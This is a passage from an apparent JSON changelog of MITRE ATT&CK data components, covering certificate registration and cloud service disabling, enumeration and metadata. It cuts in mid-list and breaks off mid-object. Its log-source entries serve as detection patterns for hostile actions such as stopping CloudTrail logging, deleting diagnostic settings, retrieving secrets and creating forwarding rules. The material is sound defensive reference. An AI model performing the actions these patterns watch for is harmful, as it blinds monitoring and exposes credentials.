\"kubernetes:orchestrator\", \"channel\": \"Access to orchestrator logs containing credentials (Docker/Kubernetes logs)\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Service crash, unhandled exception, or application hang warnings for critical services (e.g., IIS, DNS, SQL Server)\"}, {\"name\": \"journald:systemd\", \"channel\": \"Repeated service restart attempts or unit failures\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Repeated process crashes logged by CrashReporter or system instability logs in com.apple.console\"}, {\"name\": \"docker:events\", \"channel\": \"Container exited with non-zero code repeatedly in short period\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"SCCM, Intune logs\"}, {\"name\": \"macos:jamf\", \"channel\": \"RemoteCommandExecution\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"config push events\"}, {\"name\": \"linux:syslog\", \"channel\": \"processes binding to non-standard ports or sshd configured on unexpected port\"}, {\"name\": \"m365:unified\", \"channel\": \"GAL Lookup or Address Book download\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Guest Operations API invocation: StartProgramInGuest, ListProcessesInGuest, ListFileInGuest, InitiateFileTransferFromGuest\"}, {\"name\": \"m365:unified\", \"channel\": \"Send/Receive: Inbound emails with attachments from suspicious or spoofed senders\"}, {\"name\": \"Application:Mail\", \"channel\": \"Inbound email attachments logged from MTAs with suspicious metadata\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Inbound messages with attachments from suspicious domains\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Unexpected web application errors or CMS logs showing modification to index.html, default.aspx, or other public-facing files\"}, {\"name\": \"m365:unified\", \"channel\": \"certificate added or modified in application credentials\"}, {\"name\": \"saas:Snowflake\", \"channel\": \"QUERY: Large or repeated SELECT * queries to sensitive tables\"}, {\"name\": \"saas:Airtable\", \"channel\": \"EXPORT: User-triggered data export via GUI or API\"}, {\"name\": \"ApplicationLog:CallRecords\", \"channel\": \"Outbound or inbound calls to high-risk or blocklisted numbers\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"SIP REGISTER, INVITE, or unusual call destination metadata\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Outgoing or incoming calls with non-standard caller IDs or unusual metadata\"}, {\"name\": \"m365:unified\", \"channel\": \"Unusual MFA requests or OAuth consent events temporally aligned with user-reported vishing call\"}, {\"name\": \"docker:daemon\", \"channel\": \"container_create,container_start\"}, {\"name\": \"saas:github\", \"channel\": \"Bulk access to multiple files or large volume of repo requests within short time window\"}, {\"name\": \"m365:exchange\", \"channel\": \"Transport Rule Modification\"}, {\"name\": \"m365:exchange\", \"channel\": \"Admin Audit Logs, Transport Rules\"}, {\"name\": \"saas:application\", \"channel\": \"High-volume API calls or traffic via messaging or webhook service\"}, {\"name\": \"m365:unified\", \"channel\": \"Set federation settings on domain|Set domain authentication|Add federated identity provider\"}, {\"name\": \"linux:syslog\", \"channel\": \"system daemons initiating TLS sessions outside expected services\"}, {\"name\": \"m365:unified\", \"channel\": \"SendOnBehalf/SendAs: Emails sent where the sending identity mismatches account ownership\"}, {\"name\": \"Application:Mail\", \"channel\": \"Mismatch between authenticated username and From header in email\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Mail.app or third-party clients sending messages with mismatched From headers\"}, {\"name\": \"gcp:workspaceaudit\", \"channel\": \"SendAs: Outbound messages with alias identities that differ from primary account\"}, {\"name\": \"m365:unified\", \"channel\": \"Set-MailboxAutoReplyConfiguration: Unexpected rule changes creating impersonated replies\"}, {\"name\": \"m365:unified\", \"channel\": \"SendOnBehalf/SendAs: Office Suite initiated messages using impersonated identities\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"EventCode=1000\"}, {\"name\": \"linux:syslog\", \"channel\": \"browser/office crash, segfault, abnormal termination\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process crash, abort, code signing violations\"}, {\"name\": \"saas:okta\", \"channel\": \"WebUI access to administrator dashboard\"}, {\"name\": \"m365:unified\", \"channel\": \"Read-only configuration review from GUI\"}, {\"name\": \"saas:box\", \"channel\": \"User navigated to admin interface\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Register PTA Agent or Modify AD FS trust\"}, {\"name\": \"m365:unified\", \"channel\": \"Modify Federation Settings or Update Authentication Policy\"}, {\"name\": \"saas:okta\", \"channel\": \"Federation configuration update or signing certificate change\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Configuration profile modified or new profile installed\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"EventCode=1000, 1001, 1002\"}, {\"name\": \"journald:Application\", \"channel\": \"Segfault or crash log entry associated with specific application binary\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Crash log entries for a process receiving malformed input or known exploit patterns\"}, {\"name\": \"AWS:CloudWatch\", \"channel\": \"Repeated crash pattern within container or instance logs\"}, {\"name\": \"esxi:hostd\", \"channel\": \"unexpected script invocations producing long encoded strings\"}, {\"name\": \"docker:runtime\", \"channel\": \"execution of cloud CLI tool (e.g., aws, az) inside container\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"VPN, Citrix, or remote access gateway logs showing external IP addresses\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Failed password or accepted password for SSH users\"}, {\"name\": \"ApplicationLog:API\", \"channel\": \"Docker/Kubernetes API access from external sources\"}, {\"name\": \"m365:unified\", \"channel\": \"Send/Receive: Unusual spikes in inbound messages to a single recipient\"}, {\"name\": \"Application:Mail\", \"channel\": \"High-frequency inbound mail activity to a specific recipient address\"}, {\"name\": \"m365:exchange\", \"channel\": \"MailDelivery: High-frequency delivery of messages or attachments to a single recipient\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Repetitive inbound email delivery activity logged within a short time window\"}, {\"name\": \"saas:confluence\", \"channel\": \"access.content\"}, {\"name\": \"m365:unified\", \"channel\": \"PowerShell: Add-MailboxPermission\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"InvokeFunction: Unexpected or repeated invocation of functions not tied to known workflows\"}, {\"name\": \"m365:exchange\", \"channel\": \"New-InboxRule: Automation that triggers abnormal forwarding or external link generation\"}, {\"name\": \"saas:googledrive\", \"channel\": \"FileOpen / FileAccess: Event-driven script triggering on user file actions\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Failed authentication requests redirected to non-standard portals\"}, {\"name\": \"saas:okta\", \"channel\": \"System API Call: user.read, group.read\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Host daemon command log entries related to vib enumeration\"}, {\"name\": \"m365:unified\", \"channel\": \"Add-MailboxPermission or Set-ManagementRoleAssignment\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Outlook rule creation, form load, or homepage redirection\"}, {\"name\": \"m365:mailboxaudit\", \"channel\": \"Outlook rule creation or custom form deployment\"}, {\"name\": \"saas:zoom\", \"channel\": \"unusual web session tokens and automation patterns during login\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"High-frequency errors or hangs from resource-intensive application components (e.g., .NET, IIS, Office Suite)\"}, {\"name\": \"linux:syslog\", \"channel\": \"Error/warning logs from services indicating load spike or worker exhaustion\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Application errors or resource contention from excessive frontend or script invocation\"}, {\"name\": \"AWS:CloudWatch\", \"channel\": \"Elevated 5xx response rates in application logs or gateway layer\"}, {\"name\": \"m365:messagetrace\", \"channel\": \"AuthenticationDetails=fail OR SPF=fail OR DKIM=fail OR DMARC=fail\"}, {\"name\": \"linux:syslog\", \"channel\": \"SPF fail OR DKIM fail OR DMARC fail OR mismatched from_domain vs return_path_domain\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"SPF fail OR DKIM fail OR DMARC fail OR mismatched header vs envelope domains\"}, {\"name\": \"saas:email\", \"channel\": \"AuthenticationFailures (SPF/DKIM/DMARC) OR Domain Mismatch\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=1341,1342,1020,1063\"}, {\"name\": \"linux:syslog\", \"channel\": \"suspicious DHCP lease assignment with unexpected DNS or gateway\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"new DHCP configuration with anomalous DNS or router values\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Exchange logs or header artifacts\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Mail or AppleScript subsystem\"}, {\"name\": \"m365:exchange\", \"channel\": \"MessageTrace logs\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"EventCode=1000,1001\"}, {\"name\": \"linux:syslog\", \"channel\": \"opened document|clicked link|segfault|abnormal termination|sandbox\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"opened document|clicked link|EXC_BAD_ACCESS|abort|LSQuarantine\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4663\"}, {\"name\": \"m365:unified\", \"channel\": \"Set-PartnerOfRecord / CompanyAdministrator role assignments / New-DelegatedAdminRelationship\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"CreateUser|AttachRolePolicy|CreateAccessKey|UpdateAssumeRolePolicy|CreateLoginProfile\"}, {\"name\": \"azure:activity\", \"channel\": \"Add role assignment / ElevateAccess / Create service principal\"}, {\"name\": \"saas:googleworkspace\", \"channel\": \"OAuth2 authorization grants / Admin role assignments\"}, {\"name\": \"m365:unified\", \"channel\": \"Add-DelegatedAdmin, Set-PartnerOfRecord, Add-MailboxPermission, Set-OrganizationRelationship\"}, {\"name\": \"linux:syslog\", \"channel\": \"Authentication attempts into finance-related servers from unusual IPs or times\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Anomalous keychain access attempts targeting payment credentials\"}, {\"name\": \"saas:finance\", \"channel\": \"Transaction/Transfer: Unusual or large transactions initiated outside business hours or by unusual accounts\"}, {\"name\": \"saas:audit\", \"channel\": \"Rule/ConfigChange: Auto-forward rules, delegate assignments, or changes to financial approval workflows\"}, {\"name\": \"m365:unified\", \"channel\": \"MailSend: Outlook messages with suspicious subject/body terms (e.g., urgent payment, wire transfer) targeting finance teams\"}, {\"name\": \"m365:unified\", \"channel\": \"FileAccessed, FileDownloaded, SearchQueried\"}, {\"name\": \"m365:unified\", \"channel\": \"Detection of hidden macro streams or SetHiddenAttribute actions\"}, {\"name\": \"m365:unified\", \"channel\": \"RunMacro\"}, {\"name\": \"azure:audit\", \"channel\": \"App registrations or consent grants by abnormal users or at unusual times\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Resource access initiated using application credentials, not user accounts\"}, {\"name\": \"saas:slack\", \"channel\": \"OAuth token use by unknown app client_id accessing private channels or files\"}, {\"name\": \"esxi:esxupdate\", \"channel\": \"/var/log/esxupdate.log contains VIB installed with `--force` or `--no-sig-check` and non-standard acceptance levels\"}, {\"name\": \"linux:syslog\", \"channel\": \"sshd sessions with unusual port forwarding parameters\"}, {\"name\": \"saas:audit\", \"channel\": \"Application added or consent granted: Integration persisting after original user disabled\"}, {\"name\": \"linux:syslog\", \"channel\": \"Non-standard processes negotiating SSL/TLS key exchanges\"}, {\"name\": \"esxi:vpxd\", \"channel\": \"ESXi process initiating asymmetric handshake with external host\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Unusual DLL/plugin registration for IIS/SQL/Apache or unexpected error logs\"}, {\"name\": \"linux:syslog\", \"channel\": \"Module registration or stacktrace logs indicating segmentation faults or unknown module errors\"}, {\"name\": \"esxi:hostd\", \"channel\": \"New extension/module install with unknown vendor ID\"}, {\"name\": \"m365:unified\", \"channel\": \"FileUploaded or FileCopied events\"}, {\"name\": \"saas:salesforce\", \"channel\": \"DataExport, RestAPI, Login, ReportExport\"}, {\"name\": \"saas:hubspot\", \"channel\": \"contact_viewed, contact_exported, login\"}, {\"name\": \"saas:slack\", \"channel\": \"conversations.history, files.list, users.info, audit_logs\"}, {\"name\": \"m365:unified\", \"channel\": \"TeamsMessageAccess, TeamsExport, ExternalAppAccess\"}, {\"name\": \"m365:unified\", \"channel\": \"TeamsMessagesAccessedViaEDiscovery, TeamsGraphMessageExport\"}, {\"name\": \"m365:unified\", \"channel\": \"FileAccessed\"}, {\"name\": \"m365:messagetrace\", \"channel\": \"X-MS-Exchange-Organization-AutoForwarded\"}, {\"name\": \"linux:syslog\", \"channel\": \"Segfaults, kernel oops, or crashes in security software processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Abnormal terminations of com.apple.security.* or 3rd-party security daemons\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"StopLogging, DeleteTrail, UpdateTrail: API calls that disable or modify logging services\"}, {\"name\": \"m365:unified\", \"channel\": \"ApplicationModified, ConsentGranted: Unexpected app consent or modification events linked to security evasion\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--40269753-26bd-437b-986e-159c66dec5e4\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.580000+00:00\", \"old_value\": \"2025-04-18 15:09:35.474000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--1dad5aa4-4bb5-45e4-9e42-55d40003cfa6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.275000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0093", + "external_id": "DC0093" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Certificate Registration", + "description": "Certificate Registration refers to the collection and analysis of information about digital certificates, including current, revoked, and expired certificates. Sources such as Certificate Transparency logs and other public resources provide visibility into certificates issued for specific domains or organizations. Monitoring certificate registrations can help identify potential misuse, such as unauthorized certificates or signs of adversary reconnaissance. Examples: \n\n- Certificate Transparency Logs: These logs record the issuance of SSL/TLS certificates by trusted Certificate Authorities (CAs).\n- Revoked Certificates: Information about certificates that have been invalidated before their expiration date.\n- Expired Certificates: Reports of expired certificates for a domain, which may indicate lax security practices or opportunities for adversaries to exploit expired credentials.\n- Domain Monitoring for Certificates: Maps SSL/TLS certificates to domains and subdomains, helping to identify any rogue certificates.\n- Public Certificate Directories: Services providing APIs to query issued certificates for analysis.\n\nThis data component can be collected through the following measures:\n\nUse Certificate Transparency Monitors\n\n- Tools like crt.sh, CertStream, or APIs provided by certificate authorities (CAs) allow you to monitor issued certificates in real-time.\n- Example: Use CertStream to stream certificate issuance logs and filter for domains of interest.\n\nAnalyze Certificate Revocation Sources\n\n- Monitor CRLs or query OCSP responders to detect revoked certificates.\n- Configure tools like OpenSSL or browsers to validate certificate revocation status automatically.\n\nLeverage Public Scanning Tools\n\n- Use tools such as SSL Labs, Censys, or Shodan to scan for certificate details related to your domain or network.\n\nAutomate Certificate Monitoring\n\n- Set up automated scripts or services to parse Certificate Transparency logs for anomalies.\n- Example: Automate searches on crt.sh to identify certificates issued for typo-squatted domains.\n\nIntegrate with Threat Intelligence\n\n- Enrich certificate data with threat intelligence feeds to detect connections to known adversary-controlled infrastructure.\n- Tools like VirusTotal can identify malicious certificates based on associated indicators.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Certificate", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0093\", \"external_id\": \"DC0093\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Certificate\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--29aa4e0e-4a26-4f79-a9bc-1ae66df1c923\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:14:58.597000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--ec0612c5-2644-4c50-bcac-82586974fedd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:39.702000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0090", + "external_id": "DC0090" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cloud Service Disable", + "description": "This data component refers to monitoring actions that deactivate or stop a cloud service in a cloud control plane. Examples include disabling essential logging services like AWS CloudTrail (`StopLogging` API call), Microsoft Azure Monitor Logs, or Google Cloud's Operations Suite (formerly Stackdriver). Disabling such services can hinder visibility into adversary activities within the cloud environment. Examples: \n\n- AWS CloudTrail StopLogging: This action stops logging of API activity for a particular trail, effectively reducing the monitoring and visibility of AWS resources and activities.\n- Microsoft Azure Monitor Logs: Disabling these logs hinders the organization\u2019s ability to detect anomalous activities and trace malicious actions.\n- Google Cloud Logging: Disabling cloud logging removes visibility into resource activity, preventing monitoring of service access or configuration changes.\n- SaaS Applications: Stopping logging removes visibility into user activities, such as email access or file downloads, enabling undetected malicious behavior.\n\nThis data component can be collected through the following measures:\n\nEnable and Monitor Cloud Service Logging\n\n- Ensure logging is enabled for all cloud services, including administrative actions like StopLogging.\n- Example: Use AWS Config to verify that CloudTrail is enabled and enforce logging as a compliance rule.\n\nAPI Monitoring\n\n- Use API monitoring tools to detect calls like StopLogging or equivalent service-stopping actions in other platforms.\n- Example: Monitor AWS CloudWatch for specific API events such as StopLogging and flag unauthorized users.\n\nSIEM Integration\n\n- Collect logs and events from the cloud control plane into a centralized SIEM for real-time analysis and correlation.\n- Example: Ingest AWS CloudTrail logs into Splunk or Azure Monitor logs into Sentinel.\n\nCloud Security Posture Management (CSPM) Tools\n\n- Leverage CSPM tools like Prisma Cloud, Dome9, or AWS Security Hub to detect misconfigurations or suspicious activity, such as disabled logging.\n- Example: Set alerts for changes to logging configurations in CSPM dashboards.\n\nConfigure Alerts in Cloud Platforms\n\n- Create native alerts in cloud platforms to detect service stoppages.\n- Example: Configure an AWS CloudWatch alarm to trigger when StopLogging is invoked.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "AWS:CloudTrail", + "channel": "Stop logging for an existing CloudTrail" + }, + { + "name": "AWS:CloudTrail", + "channel": "Removal of CloudTrail trail" + }, + { + "name": "azure:activity", + "channel": "az monitor diagnostic-settings delete" + }, + { + "name": "saas:audit", + "channel": "Log export integration removed or disabled" + }, + { + "name": "AWS:CloudTrail", + "channel": "StopLogging, DeleteTrail, or DisableSecurityService" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0090\", \"external_id\": \"DC0090\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"AWS:CloudTrail\", \"channel\": \"Stop logging for an existing CloudTrail\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"Removal of CloudTrail trail\"}, {\"name\": \"azure:activity\", \"channel\": \"az monitor diagnostic-settings delete\"}, {\"name\": \"saas:audit\", \"channel\": \"Log export integration removed or disabled\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"StopLogging, DeleteTrail, or DisableSecurityService\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:39.702000+00:00\", \"old_value\": \"2025-04-18 15:15:30.989000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:38.498000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0083", + "external_id": "DC0083" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cloud Service Enumeration", + "description": "Cloud service enumeration involves listing or querying available cloud services in a cloud control plane. This activity is often performed to identify resources such as virtual machines, storage buckets, compute clusters, or other services within a cloud environment. Examples include API calls like `AWS ECS ListServices`, `Azure ListAllResources`, or `Google Cloud ListInstances`. Examples: \n\nAWS Cloud Service Enumeration: The adversary gathers details about existing ECS services to identify opportunities for privilege escalation or exfiltration.\n- Azure Resource Enumeration: The adversary collects information about virtual machines, resource groups, and other Azure assets for reconnaissance purposes.\n- Google Cloud Resource Enumeration: The attacker seeks to map the environment and find misconfigured or underutilized resources for exploitation.\n- Office 365 Service Enumeration: The attacker may look for data repositories or collaboration tools to exfiltrate sensitive information.\n\nThis data component can be collected through the following measures: \n\nEnable Cloud Activity Logging\n\n- Ensure cloud service logs are enabled for API calls and resource usage.\n- Example: Enable AWS CloudTrail, Azure Monitor, or Google Cloud Logging to track resource queries.\n\nCentralize Logs in a SIEM\n\n- Aggregate logs from cloud control planes into a centralized SIEM (e.g., Splunk, Azure Sentinel).\n- Example: Collect AWS CloudTrail logs and set up alerts for API calls related to service enumeration.\n\nUse Native Cloud Security Tools\n\n- Leverage cloud-native security solutions like AWS GuardDuty, Azure Defender, or Google Security Command Center.\n- Example: Use GuardDuty to detect anomalous API activity, such as ListServices being executed by an unknown user.\n\nImplement Network Flow Logging\n\n- Monitor and analyze VPC flow logs to identify lateral movement or enumeration activity.\n- Example: Inspect flow logs for unexpected traffic between compute instances and the cloud control plane.\n\nAPI Access Monitoring\n\n- Monitor API keys and tokens used for enumeration to identify misuse or compromise.\n- Example: Use AWS Secrets Manager or Azure Key Vault to manage and rotate keys securely.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "AWS:CloudTrail", + "channel": "GetSecretValue" + }, + { + "name": "gcp:secrets", + "channel": "accessSecretVersion" + }, + { + "name": "azure:ad", + "channel": "SecretGet" + }, + { + "name": "AWS:CloudTrail", + "channel": "ssm:ListInventoryEntries" + }, + { + "name": "AWS:CloudTrail", + "channel": "DescribeInstances, DescribeServices, ListFunctions: High frequency enumeration calls or unusual user agents performing discovery" + }, + { + "name": "azure:audit", + "channel": "ListApplications, ListServicePrincipals: Large-scale queries against identity or application objects" + }, + { + "name": "m365:unified", + "channel": "Get-MsolServicePrincipal, ListAppRoles: Service discovery operations executed by accounts not normally performing administrative tasks" + }, + { + "name": "saas:adminapi", + "channel": "ListIntegrations, ListServices: Repeated service discovery requests from accounts without administrative responsibilities" + }, + { + "name": "AWS:CloudTrail", + "channel": "GetInstanceIdentityDocument or IMDSv2 token requests" + }, + { + "name": "AWS:CloudTrail", + "channel": "DescribeUsers / ListUsers / GetUser" + }, + { + "name": "azure:signinlogs", + "channel": "Graph API Query" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0083\", \"external_id\": \"DC0083\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"AWS:CloudTrail\", \"channel\": \"GetSecretValue\"}, {\"name\": \"gcp:secrets\", \"channel\": \"accessSecretVersion\"}, {\"name\": \"azure:ad\", \"channel\": \"SecretGet\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"ssm:ListInventoryEntries\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"DescribeInstances, DescribeServices, ListFunctions: High frequency enumeration calls or unusual user agents performing discovery\"}, {\"name\": \"azure:audit\", \"channel\": \"ListApplications, ListServicePrincipals: Large-scale queries against identity or application objects\"}, {\"name\": \"m365:unified\", \"channel\": \"Get-MsolServicePrincipal, ListAppRoles: Service discovery operations executed by accounts not normally performing administrative tasks\"}, {\"name\": \"saas:adminapi\", \"channel\": \"ListIntegrations, ListServices: Repeated service discovery requests from accounts without administrative responsibilities\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"GetInstanceIdentityDocument or IMDSv2 token requests\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"DescribeUsers / ListUsers / GetUser\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Graph API Query\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:38.498000+00:00\", \"old_value\": \"2025-04-18 15:15:34.195000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--b33d36e3-d7ea-4895-8eed-19a08a8f7c4f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:34.276000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0070", + "external_id": "DC0070" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cloud Service Metadata", + "description": "Cloud service metadata refers to the contextual and descriptive information about cloud services, including their name, type, purpose, configuration, and activity around them. This metadata is essential for understanding the roles and functions of cloud services, their operational status, and their potential misuse. Examples: \n\n- Azure Service Metadata: Metadata describing a resource in Azure, such as an Azure Storage Account or a Virtual Machine.\n- AWS Cloud Service Metadata: Metadata for an AWS EC2 instance collected using the `DescribeInstances` API call.\n- Google Cloud Service Metadata: Metadata for a Google Compute Engine instance collected using `gcloud compute instances describe`.\n- Office 365 Metadata: Metadata about an Office 365 SharePoint site.\n\nThis data component can be collected through the following measures:\n\nEnable Cloud Metadata APIs\n\n- Leverage APIs provided by cloud providers to query metadata about services.\n - AWS: Use AWS CLI or SDKs for `DescribeInstances`, `DescribeBuckets`, etc.\n - Azure: Use `az resource list` or SDKs.\n - Google Cloud: Use `gcloud compute instances describe` or related commands.\n - Office 365: Use Microsoft Graph API.\n\nCentralize Metadata in a Security Platform\n\n- Aggregate metadata from multiple clouds into a SIEM or CSPM (Cloud Security Posture Management) tool.\n- Example: Integrate AWS CloudTrail with Splunk or Azure Monitor with Sentinel.\n\nEnable Continuous Monitoring\n\n- Set up automated jobs or workflows to regularly query and update metadata.\n- Example: Use AWS Config to track resource configurations and changes over time.\n\nConfigure Access and Logging\n\n- Enable logging for API queries to ensure access and usage of metadata are monitored.\n- Example: Use AWS CloudTrail to log API activity for metadata queries.\n\nUse Cloud Security Tools\n\n- Employ CSPM tools like Prisma Cloud, Wiz, or Dome9 to gather metadata and identify misconfigurations.\n- Example: Prisma Cloud provides consolidated views of metadata for resources across AWS, Azure, and GCP.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "CloudTrail:GetInstanceIdentityDocument", + "channel": "GetInstanceIdentityDocument" + }, + { + "name": "AWS:CloudTrail", + "channel": "rds:ExecuteStatement: Large data access via RDS or Aurora with unknown session context" + }, + { + "name": "saas:github", + "channel": "repo.download, repo.clone, oauth.authorize, repo.getContent" + }, + { + "name": "AWS:CloudWatch", + "channel": "unexpected IAM user or role assuming privileges for instance/snapshot operations" + }, + { + "name": "CloudTrail:GetSecretValue", + "channel": "API call to retrieve secret or access key" + }, + { + "name": "CloudTrail:InvokeFunction", + "channel": "InvokeFunction" + }, + { + "name": "m365:sharepoint", + "channel": "Multiple file download operations on a site by a privileged account in a short time window" + }, + { + "name": "saas:github", + "channel": "CI/CD secret accessed or exported" + }, + { + "name": "m365:exchange", + "channel": "Cmdlet - New-InboxRule" + }, + { + "name": "m365:unified", + "channel": "New-InboxRule, Set-InboxRule" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + 